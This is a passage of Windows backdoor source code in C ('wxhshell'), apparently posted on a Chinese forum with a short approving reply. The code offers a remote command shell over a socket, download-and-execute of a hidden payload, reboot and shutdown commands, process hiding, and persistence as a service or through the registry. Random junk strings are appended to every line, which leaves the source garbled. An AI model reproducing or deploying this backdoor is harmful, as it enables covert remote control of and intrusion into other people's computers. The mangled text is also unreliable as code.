  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )~>YH*g  
  if(DownloadFile(cmd,wsh)) U^PgG|0N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dtDFoETz  
  else /ZX }Nc g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '1[Ft03  
  } W/N7vAx X  
  else { 6tZI["\   
awRX1:T#;O  
    switch(cmd[0]) { ! nx{ X  
  0GLM(JmK  
  // 帮助 Gv&V|7-f0  
  case '?': { Eci\a]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P55fL-vo|}  
    break; }>\C{ClI  
  } kh<2BOV  
  // 安装 F4QVAOM]U  
  case 'i': { :jf3HG  
    if(Install()) &{:-]g\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  " bG2:  
    else u8^lB7!e/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `[A];]  
    break;  *CMx-_  
    } +@UV?"d  
  // 卸载 t20K!}D_  
  case 'r': { TeQV?ZQ#}  
    if(Uninstall()) xdPx{"C 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %T[]zJ(  
    else BtZyn7a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l (o~-i\M  
    break; _1^'(5f$  
    } y_,bu^+*  
  // 显示 wxhshell 所在路径 c-w)|-ac.  
  case 'p': { z:O8Ls^\T  
    char svExeFile[MAX_PATH]; )7@0[>  
    strcpy(svExeFile,"\n\r"); )oZ dj`  
      strcat(svExeFile,ExeFile); DG/Pb)%Y  
        send(wsh,svExeFile,strlen(svExeFile),0); okXl8&mi  
    break; 9WHddDA  
    } gw(z1L5 n  
  // 重启 [ ~,AfY  
  case 'b': { kAx4fE[c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \e_O4  
    if(Boot(REBOOT)) M|-)GvR$J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N`i/mP  
    else { fA-7VdR`R  
    closesocket(wsh); KoYF]  
    ExitThread(0); pAEx#ck  
    } ~[: 2I  
    break; *Ex|9FCt$  
    } 1YA% -~  
  // 关机 @HW*09TG  
  case 'd': { ESs\O?nO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U*:!W=XN  
    if(Boot(SHUTDOWN)) g0H[*"hj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'qi}|I  
    else { ^Cmyx3O^  
    closesocket(wsh); 58K5ZZG  
    ExitThread(0); RSds8\tk  
    } )jj0^f1!j  
    break; J,G lIv.A  
    } )0MB9RMk1  
  // 获取shell \v{=gK  
  case 's': { V~bD)?M  
    CmdShell(wsh); X]=t>   
    closesocket(wsh); $e\M_hp*J  
    ExitThread(0); `/g UV  
    break; )"LJ hLg  
  } m|# y >4  
  // 退出 NI5``BwpO  
  case 'x': { n%-0V>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PFR:>^wK2  
    CloseIt(wsh); 0V]s:S  
    break; l%ZhA=TKQ  
    } l, wp4 Ll  
  // 离开 5xde;  
  case 'q': { l0] EX>"E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4 :=]<sc,  
    closesocket(wsh); DlT{`  
    WSACleanup(); 2:R+tn(F  
    exit(1); *I'yH8Fcn  
    break; |%wX*zaf  
        } %\DX#.  
  } GfG|&VNlz  
  } 'S~5"6r  
~ 1pr~  
  // 提示信息 l~.-e^p?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JRFtsio*  
} +V+a4lU14  
  } hSMH,^Io$  
[Q =N n  
  return; "3hMq1NQ`g  
} *A< 5*Db:F  
ckn~#UE=  
// shell模块句柄 5uf a  
int CmdShell(SOCKET sock) DMS! a$4  
{ *H122njH+T  
STARTUPINFO si; F/Pep?'  
ZeroMemory(&si,sizeof(si)); OZT.=^:A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1}37Q&2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M;NX:mX9  
PROCESS_INFORMATION ProcessInfo; 6RM/GM  
char cmdline[]="cmd"; Ie^l~ Gb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9kojLqCT  
  return 0; 7KPwQ?SjT  
} $N\Ja*g  
F"< v aqT2  
// 自身启动模式 kLY^!  
int StartFromService(void) ca}2TT&t  
{ -+5>|N#  
typedef struct Tr|JYLwF  
{ Zov~B-Of:  
  DWORD ExitStatus; ,47qw0=C  
  DWORD PebBaseAddress; &R siVBA  
  DWORD AffinityMask; q =Il|Nb>  
  DWORD BasePriority; H[UlY?&+  
  ULONG UniqueProcessId; w*!aZ,P  
  ULONG InheritedFromUniqueProcessId; RyNs6  
}   PROCESS_BASIC_INFORMATION; I|J/F}@p  
f-d1KNY  
PROCNTQSIP NtQueryInformationProcess; mt`.6Xz~  
h$=2p5'-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8[>zG2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W`&hp6Jq  
\f)#>+X-  
  HANDLE             hProcess; 6,uX,X5  
  PROCESS_BASIC_INFORMATION pbi; ?8 {"x8W;  
<X5 fUU"+U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4sM.C9W  
  if(NULL == hInst ) return 0; Mq8L0%j  
aP`P)3O6)1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]HdCt3X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <| &Npd'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); , dp0;nkr  
5coZ|O&f8  
  if (!NtQueryInformationProcess) return 0; rH>)oThA#  
875od  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V$~9]*Wn  
  if(!hProcess) return 0; 3~ \[7I/  
*j-aXN/$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &0f,~ /%Z  
dTtSUA|V7"  
  CloseHandle(hProcess); (ik\|y% A  
>j`qh:^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s <Fl p  
if(hProcess==NULL) return 0; Kg$ Mx  
x`?3C"N:<  
HMODULE hMod; 4fzZ;2sl}  
char procName[255]; akT6^cP^  
unsigned long cbNeeded; >3_Gw4S*H  
oE~Bq/p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q,9oKg  
j.kG};f  
  CloseHandle(hProcess); 9/;P->wy  
=2 kG%9  
if(strstr(procName,"services")) return 1; // 以服务启动 EE'!|N3  
E"@wek.-  
  return 0; // 注册表启动 = f i$}>\  
} cAc@n6[`3  
N&pCx&  
// 主模块 NCx%L-GPi  
int StartWxhshell(LPSTR lpCmdLine) L6LZC2N+2  
{ wf $s*|z  
  SOCKET wsl; J$!iq|  
BOOL val=TRUE; LK"69Qx?5q  
  int port=0; *4Izy14e  
  struct sockaddr_in door; yZ`wfj$Jj  
Y<rU#Z#T  
  if(wscfg.ws_autoins) Install(); @o6L6Y0Naa  
T#)P`q  
port=atoi(lpCmdLine); A9JdU&  
]tDDq=+v  
if(port<=0) port=wscfg.ws_port; ~,~eoW7  
 kwA$Z!Rn  
  WSADATA data; {GO#.P"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +{U cspqM  
9mFE?J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   63A.@mL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X$pJ :M{F$  
  door.sin_family = AF_INET; 7= DdrG<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {V-v-f  
  door.sin_port = htons(port); `p7=t)5k  
V!dtF,tH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5D l/aHb  
closesocket(wsl); 2|bn(QYz  
return 1; u4_9)P`]0  
} W T}H>T  
``Un&-Ms  
  if(listen(wsl,2) == INVALID_SOCKET) { L^Fy#p  
closesocket(wsl); (M ~e?s  
return 1; J'2X&2  
} 6DWgl$[[  
  Wxhshell(wsl); [h:T*(R?  
  WSACleanup(); ]d%8k}U  
eN~=*Mn(za  
return 0; 3{h_&Gbo'D  
!L8#@BjU  
} $pudoAO  
+KEWP\r  
// 以NT服务方式启动 )tpL#J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i@ BtM9:  
{ U3:j'Su4H?  
DWORD   status = 0; nQ L@hc  
  DWORD   specificError = 0xfffffff; S[T8T|_  
Q dp)cT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IkXx# )  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s!e3|pGS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M:6"H%h,W  
  serviceStatus.dwWin32ExitCode     = 0; I0 RvnMw  
  serviceStatus.dwServiceSpecificExitCode = 0; BRYHX.}h\A  
  serviceStatus.dwCheckPoint       = 0; ^ K E%C;u  
  serviceStatus.dwWaitHint       = 0; +t:0SRSt  
*cnNuT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {91nL'-'  
  if (hServiceStatusHandle==0) return; kE(mVyLQ  
0<B$#8  
status = GetLastError(); tdaL/rRe  
  if (status!=NO_ERROR) v]c6R-U  
{ /^|Dbx!u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R^e.s -  
    serviceStatus.dwCheckPoint       = 0; s|B3~Q]  
    serviceStatus.dwWaitHint       = 0; HX{`Vah E  
    serviceStatus.dwWin32ExitCode     = status; w8D"CwS1Rx  
    serviceStatus.dwServiceSpecificExitCode = specificError; A_#DJJMm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !&Pui{F  
    return; /[>sf[X\I9  
  } T${Q.zHY[!  
 50C   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]]juN  
  serviceStatus.dwCheckPoint       = 0; @Pzu^  
  serviceStatus.dwWaitHint       = 0; E=w1=,/y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "v4B5:bmqW  
} I15{)o(8$  
c\V7i#u[d;  
// 处理NT服务事件,比如:启动、停止 )@'}\_a3[]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C=4Qlt[`  
{ P}G+4Sk  
switch(fdwControl) D{~fDRR  
{ U!Z,xx[]  
case SERVICE_CONTROL_STOP: A$xF$l  
  serviceStatus.dwWin32ExitCode = 0; iRi-cQVy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %-e 82J1  
  serviceStatus.dwCheckPoint   = 0; ~**.|%Kc  
  serviceStatus.dwWaitHint     = 0; AjgF6[B  
  { -8rjgB~."/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aCLqk'  
  } mju>>\9  
  return; Nl(3Xqov  
case SERVICE_CONTROL_PAUSE: fe#\TNeQJ[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D+7Rz_=  
  break; yq iq,=OvP  
case SERVICE_CONTROL_CONTINUE: qc~iQSI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U2~kJ  
  break; !o[7wKrXb  
case SERVICE_CONTROL_INTERROGATE: d6sye^P  
  break; {Fe[:\  
}; -{vKus  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y {<9]'  
} M_w<m  
e2W".+B1  
// 标准应用程序主函数 ^4Ah_ U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H_<C!OgR  
{ f &wb  
{LQ#y/H?  
// 获取操作系统版本 y[_Q-   
OsIsNt=GetOsVer(); h@WhNk7"xa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?r+-  
{Wu$YWE*sx  
  // 从命令行安装 yw3$2EW  
  if(strpbrk(lpCmdLine,"iI")) Install(); y e? 'Ze  
c>~*/%+  
  // 下载执行文件 rkY[E(SY  
if(wscfg.ws_downexe) { A;|D:;x3G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A1?2*W  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;H.^i|_/  
} p >t#@Eu|  
JNUt$h  
if(!OsIsNt) { &7wd?)s  
// 如果时win9x,隐藏进程并且设置为注册表启动 @\P;W(m.i  
HideProc(); P0PWJ^+,+  
StartWxhshell(lpCmdLine); f/Bp.YwL  
}  3 +fp2  
else tWa) _y  
  if(StartFromService()) :s6o"VkW  
  // 以服务方式启动 X~,aNRy  
  StartServiceCtrlDispatcher(DispatchTable); _v=SH$O+  
else w+E,INd i  
  // 普通方式启动 pKrN:ExB"\  
  StartWxhshell(lpCmdLine); Yv!a88+A8M  
E6gI,f/p0X  
return 0; -FQ 'agf@&  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五